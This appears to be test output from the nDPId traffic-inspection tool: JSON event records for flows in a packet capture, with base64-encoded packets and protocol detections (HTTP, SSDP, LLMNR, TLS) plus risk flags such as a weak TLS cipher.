+00423{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":488,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":890470,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0Uh9AAIAGFuTAqHMIKngzmMHJH5CKzmkHAAAAAIACIADo5wAAAgQE7AEDAwgBAQQC"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":489,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1470104380909,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.110","dst_ip":"255.255.255.255","src_port":60480,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00835{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":489,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":909602,"pkt_caplen":359,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":359,"pkt_l4_len":325,"pkt":"\/\/\/\/\/\/\/\/XNmY3fXzCABFAAFZAABAAEARbn7AqApu\/\/\/\/\/+xA9gABRTgx\/\/8AAKAAXNmY3fXzwKgKbgAAAgAnAUROUy0xMTAwLTA0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABOQVMAAAAAAAAAAAAAVVqvihgAAABVWsE9WwAAAFVasDEuMDJiMTAAEXgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXNmY3fXzM0ExAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRsaW5rLURERjVGMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAqApu\/\/8AAExBTjEAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00408{"flow_id":38,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":490,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":928867,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUiBAAIAGEmDAqHMI2vSHqsHHI4t8ty4dKILF8FAQAQOZ5wAA"} +00408{"flow_id":38,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":928909,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUiBAAIAGEmDAqHMI2vSHqsHHI4t8ty4dKILF8FAQAQOZ5wAA"} +00419{"flow_id":41,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":492,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":966940,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ABxCjnAxTF4M6gNlCABFAAAwAABAADAGuQcqeDOYwKhzCB+QwcnDIL+ais5pCHASFtCCkgAAAgQFtAEBBAI="} +00410{"flow_id":41,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":493,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":967069,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUiFAAIAGFu7AqHMIKngzmMHJH5CKzmkIwyC\/m1AQ\/\/DGNQAA"} +00410{"flow_id":41,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":494,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":967094,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUiFAAIAGFu7AqHMIKngzmMHJH5CKzmkIwyC\/m1AQ\/\/DGNQAA"} +00749{"flow_id":41,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":495,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":968230,"pkt_caplen":306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":306,"pkt_l4_len":272,"pkt":"TF4M6gNlABxCjnAxCABFAAEkUiJAAIAGFfHAqHMIKngzmMHJH5CKzmkIwyC\/m1AY\/\/C4+gAAUE9TVCAvYXBpL3Byb3h5P3VybD1odHRwJTNBJTJGJTJGdnYudmlkZW8ucXEuY29tJTJGZ2V0dmluZm8gSFRUUC8xLjENCkFjY2VwdDogKi8qDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkhvc3Q6IDQyLjEyMC41MS4xNTI6ODA4MA0KQ29udGVudC1MZW5ndGg6IDQ0NQ0KRXhwZWN0OiAxMDAtY29udGludWUNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00780{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":495,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":6,"flow_first_seen":1470104380890,"flow_last_seen":1470104380968,"flow_tot_l4_data_len":404,"flow_min_l4_data_len":20,"flow_max_l4_data_len":272,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"42.120.51.152","src_port":49609,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"42.120.51.152","url":"42.120.51.152:8080\/api\/proxy?url=http%3A%2F%2Fvv.video.qq.com%2Fgetvinfo","code":0,"content_type":"","user_agent":"Mozilla\/5.0"}} +00749{"flow_id":41,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":496,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":968271,"pkt_caplen":306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":306,"pkt_l4_len":272,"pkt":"TF4M6gNlABxCjnAxCABFAAEkUiJAAIAGFfHAqHMIKngzmMHJH5CKzmkIwyC\/m1AY\/\/C4+gAAUE9TVCAvYXBpL3Byb3h5P3VybD1odHRwJTNBJTJGJTJGdnYudmlkZW8ucXEuY29tJTJGZ2V0dmluZm8gSFRUUC8xLjENCkFjY2VwdDogKi8qDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkhvc3Q6IDQyLjEyMC41MS4xNTI6ODA4MA0KQ29udGVudC1MZW5ndGg6IDQ0NQ0KRXhwZWN0OiAxMDAtY29udGludWUNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00414{"flow_id":41,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":497,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":29281,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxTF4M6gNlCABFAAAopEdAADAGFMgqeDOYwKhzCB+QwcnDIL+bis5qBFAQGSCsCgAAAAAAAAAA"} +00442{"flow_id":41,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":498,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":29366,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"ABxCjnAxTF4M6gNlCABFAABBpEhAADAGFK4qeDOYwKhzCB+QwcnDIL+bis5qBFAYGSB11gAASFRUUC8xLjEgMTAwIENvbnRpbnVlDQoNCg=="} +01009{"flow_id":41,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":499,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":30026,"pkt_caplen":499,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":499,"pkt_l4_len":465,"pkt":"TF4M6gNlABxCjnAxCABFAAHlUiNAAIAGFS\/AqHMIKngzmMHJH5CKzmoEwyC\/tFAY\/9fpYwAAZW5jcnlwdFZlcj01LjQmb3R5cGU9eG1sJmFwcHZlcj0zLjIuMTkuMzU4JnBsYXRmb3JtPTEwOTAyJm5ld3BsYXRmb3JtPTEwOTAyJnZpZD15MDAxM3hhZWV5byZ2aWRzPXkwMDEzeGFlZXlvJmRlZmF1bHRmbXQ9c2QmZGVmbj1zZCZjS2V5PUFteVJ4VVhyUFc4Wkt4TEFDSGlmNHZka3FSNkxpUmJFMjlYbnA2VzNsUVdjSXEwYmdjSWJlQWhnVDRPMlg5NG5zRkZNazdaZlBSQURZQ0k5QXZrZXB3ZFdSM0FOQ1c4SWl6d202ZDZjVGVyYW9nQkM1SWhUX1JvdGQydDNrWkNCcmk1RU9zT3IzVG13bDFvcUhkQzYtS2dqVEF6MzRrSUhVZEJDRHZMS2FvVnhpLXpUcmRGQ01HamRBZTNXWGVOclZBNFlTclJDYWwwSFR1QlZ0c1ltYVdzRC1tNEJzbHJ4Mk1lRjg1eEtPZHRsUVBBayZndWlkPUY1RUIwMUNDMDFBOEUwOENEODM2MzA4MjhERTE3QzJCMDIxNjJGRDgmbGlua3Zlcj0yJmRlZm5wYXl2ZXI9MQ=="} +01009{"flow_id":41,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":500,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":30073,"pkt_caplen":499,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":499,"pkt_l4_len":465,"pkt":"TF4M6gNlABxCjnAxCABFAAHlUiNAAIAGFS\/AqHMIKngzmMHJH5CKzmoEwyC\/tFAY\/9fpYwAAZW5jcnlwdFZlcj01LjQmb3R5cGU9eG1sJmFwcHZlcj0zLjIuMTkuMzU4JnBsYXRmb3JtPTEwOTAyJm5ld3BsYXRmb3JtPTEwOTAyJnZpZD15MDAxM3hhZWV5byZ2aWRzPXkwMDEzeGFlZXlvJmRlZmF1bHRmbXQ9c2QmZGVmbj1zZCZjS2V5PUFteVJ4VVhyUFc4Wkt4TEFDSGlmNHZka3FSNkxpUmJFMjlYbnA2VzNsUVdjSXEwYmdjSWJlQWhnVDRPMlg5NG5zRkZNazdaZlBSQURZQ0k5QXZrZXB3ZFdSM0FOQ1c4SWl6d202ZDZjVGVyYW9nQkM1SWhUX1JvdGQydDNrWkNCcmk1RU9zT3IzVG13bDFvcUhkQzYtS2dqVEF6MzRrSUhVZEJDRHZMS2FvVnhpLXpUcmRGQ01HamRBZTNXWGVOclZBNFlTclJDYWwwSFR1QlZ0c1ltYVdzRC1tNEJzbHJ4Mk1lRjg1eEtPZHRsUVBBayZndWlkPUY1RUIwMUNDMDFBOEUwOENEODM2MzA4MjhERTE3QzJCMDIxNjJGRDgmbGlua3Zlcj0yJmRlZm5wYXl2ZXI9MQ=="} +00407{"flow_id":40,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":501,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":84910,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUiRAAIAGEUPAqHMIy82X6sHIAFAfZnlhJWMEw1AQAQOSYgAA"} +00407{"flow_id":40,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":502,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":84957,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUiRAAIAGEUPAqHMIy82X6sHIAFAfZnlhJWMEw1AQAQOSYgAA"} +00836{"flow_id":40,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":503,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":108563,"pkt_caplen":372,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":372,"pkt_l4_len":338,"pkt":"ABxCjnAxTF4M6gNlCABFAAFmJKRAADMGioXLzZfqwKhzCABQwcglYwOFH2Z5YVAYAAixSgAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54DQpEYXRlOiBUdWUsIDAyIEF1ZyAyMDE2IDAyOjE5OjQyIEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L3htbDsgY2hhcnNldD11dGYtOA0KQ29udGVudC1MZW5ndGg6IDE2Mw0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtOCIgIHN0YW5kYWxvbmU9Im5vIiA\/Pgo8cm9vdD48ZW0+ODA8L2VtPjxleGVtPjE8L2V4ZW0+PGV4aW5mbz7kuK3lm70t5Y+w5rm+55yBLS3mnKrnn6U8L2V4aW5mbz48bXNnPklQIGxpbWl0PC9tc2c+PHM+Zjwvcz48L3Jvb3Q+"} +00580{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":506,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":115496,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6\/PiuMpcsCABFAAChLEIAAAER2QjAqANf7\/\/\/+uhMB2wAjbUvTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":507,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1470104381217,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.37","dst_ip":"224.0.0.252","src_port":56366,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":507,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":217455,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8CJ4BzeuNCABFAAA2U68AAAERvz7AqAUl4AAA\/NwuFOsAIuU8ydMAAAABAAAAAAAACG5vdGVib29rAAD\/AAE="} +00505{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":507,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1470104381217,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.37","dst_ip":"224.0.0.252","src_port":56366,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":508,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1470104381217,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.37","dst_ip":"239.255.255.250","src_port":57325,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00580{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":508,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":217586,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6CJ4BzeuNCABFAAChFE8AAAER7zXAqAUl7\/\/\/+t\/tB2wAjbvITS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":508,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1470104381217,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.37","dst_ip":"239.255.255.250","src_port":57325,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":509,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1470104381237,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"192.168.115.75","src_port":53623,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":509,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":237806,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"ABAj4ACgYMVHBbyMCABFAABAk\/BAAEAGrRvAqAUQwKhzS9F3AbseAeEVAAAAALAC\/\/84nQAAAgQFtAEDAwUBAQgKGg8YWwAAAAAEAgAA"} +00423{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":510,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":238763,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxABAj4ACgCABFAAA0AABAAEAGQRjAqHNLwKgFEAG70XdE8SFWHgHhFoASFtAl8wAAAgQFtAEBBAIBAwMH"} +00415{"flow_id":45,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":511,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":238800,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAo9WxAAEAGS7fAqAUQwKhzS9F3AbseAeEWRPEhV1AQIABdlQAAcnZlcjBd"} +00705{"flow_id":45,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":512,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":239406,"pkt_caplen":271,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":271,"pkt_l4_len":237,"pkt":"ABAj4ACgYMVHBbyMCABFAAEB7MpAAEAGU4DAqAUQwKhzS9F3AbseAeEWRPEhV1AYIAC0MQAAFgMBANQBAADQAwNXoAM+DApFIVBtoVkm1YD4xHsvSlpaV1sKMPaqmp\/EYiBj+Q0TSc5VhLmmiAAqPOtufQBM8Qziz0QZmZNFeVk8eABKAP\/AJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAA9AAAAEwARAAAOMTkyLjE2OC4xMTUuNzUACgAIAAYAFwAYABkACwACAQAADQAMAAoFAQQBAgEEAwIDM3QAAA=="} +00746{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":512,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":4,"flow_first_seen":1470104381237,"flow_last_seen":1470104381239,"flow_tot_l4_data_len":333,"flow_min_l4_data_len":20,"flow_max_l4_data_len":237,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"192.168.115.75","src_port":53623,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"192.168.115.75","ja3":"799135475da362592a4be9199d258726","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00415{"flow_id":45,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":513,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":240437,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxABAj4ACgCABFAAAoVq1AAEAG6nbAqHNLwKgFEAG70XdE8SFXHgHh71AQADZ8hgAAAAAAAAAA"} +00632{"flow_id":45,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":514,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":243027,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"ABxCjnAxABAj4ACgCABFAADJVq5AAEAG6dTAqHNLwKgFEAG70XdE8SFXHgHh71AYADbIkgAAFgMDAFECAABNAwPHJnh2qX3nfDBpSu7Df5fT0X\/Q3\/d8yCgGwlqQxOSx+CBj+Q0TSc5VhLmmiAAqPOtufQBM8Qziz0QZmZNFeVk8eAAvAAAF\/wEAAQAUAwMAAQEWAwMAQDki+Ej0RYqOg\/jDOhnO\/H7Bsu3crM8n3x+xrz81y3D6sPGZ2cIhuklKpkdgW0hBRebLLt2Gh0GfYMgr\/JhRkDE="} +00813{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":514,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":6,"flow_first_seen":1470104381237,"flow_last_seen":1470104381243,"flow_tot_l4_data_len":534,"flow_min_l4_data_len":20,"flow_max_l4_data_len":237,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"192.168.115.75","src_port":53623,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"8":"Weak TLS cipher","15":"TLS (probably) not carrying HTTPS"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"192.168.115.75","ja3":"799135475da362592a4be9199d258726","ja3s":"573a9f3f80037fb40d481e2054def5bb","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA"}} +00416{"flow_id":45,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":243076,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAoK05AAEAGFdbAqAUQwKhzS9F3AbseAeHvRPEh+FAQH\/pcIQAAVFRQLzEu"} +00415{"flow_id":45,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":516,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":243257,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABAj4ACgYMVHBbyMCABFAAAuirpAAEAGtmPAqAUQwKhzS9F3AbseAeHvRPEh+FAYIABECQAAFAMDAAEB"} +00503{"flow_id":45,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":517,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":243372,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"ABAj4ACgYMVHBbyMCABFAABtN7hAAEAGCSfAqAUQwKhzS9F3AbseAeH1RPEh+FAYIACL6AAAFgMDAEDGjk2WcpUh8OQ6FhASO1J68hFkVl7+33QoB\/0Tq9jEFedfIp4l4tEdJkeQk2fgJrOHJo\/QlfzdZ+FWP1+XBCJk"} +00416{"flow_id":45,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":518,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":245551,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxABAj4ACgCABFAAAoVq9AAEAG6nTAqHNLwKgFEAG70XdE8SH4HgHiOlAQADZ7mgAAAAAAAAAA"} 